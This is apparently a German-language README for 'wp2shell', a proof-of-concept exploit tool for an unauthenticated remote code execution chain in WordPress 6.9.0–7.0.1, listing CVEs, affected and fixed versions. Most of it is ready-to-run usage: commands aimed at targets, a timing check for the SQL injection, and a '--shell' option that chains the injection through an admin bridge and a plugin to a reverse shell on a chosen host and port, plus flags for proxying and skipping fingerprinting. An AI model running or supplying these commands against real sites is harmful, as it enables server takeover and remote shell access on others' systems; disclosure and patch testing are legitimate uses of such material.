
PoC Exploit von WordPress Core Unauthenticated RCE bekannt als WP2Shell
| Name | wp2shell |
| CVEs | CVE-2026-63030 (batch desync), CVE-2026-60137 (author__not_in SQLi) |
| Betroffen | WordPress 6.9.0 bis 6.9.4, 7.0.0 bis 7.0.1 |
| Behoben in | 6.9.5, 7.0.2 |
| Authentifizierung erforderlich | Keine |
| Gefunden von | Adam Kues (Searchlight Cyber / Assetnote) |
Nur Host = automatisches Schema (versucht https:// dann http://). Verwende http:// oder https:// nur, wenn du eines erzwingen möchtest.
# auto-detect scheme
wp2shell target.example
wp2shell 127.0.0.1:8080
# force a scheme
wp2shell https://target.example/
wp2shell http://127.0.0.1:8080/
# timing confirm
wp2shell target.example --confirm-sqli
# SQLi -> oEmbed/admin bridge -> plugin -> reverse shell
wp2shell target.example --shell
wp2shell target.example --shell 192.168.1.10 4443
| Flag | Funktion |
|---|---|
--shell [LHOST [LPORT]] | Standard-RCE-Kette; Standard-LHOST ist die IP dieses Rechners, LPORT ist 443 |
--rest-route | versuche zuerst /?rest_route=/batch/v1 |
--verify-tls | TLS-Zertifikate überprüfen (standardmäßig aus für Labor/selbstsigniert) |
--proxy URL | Verkehr über einen Proxy senden |
--force | WordPress-Fingerprinting überspringen |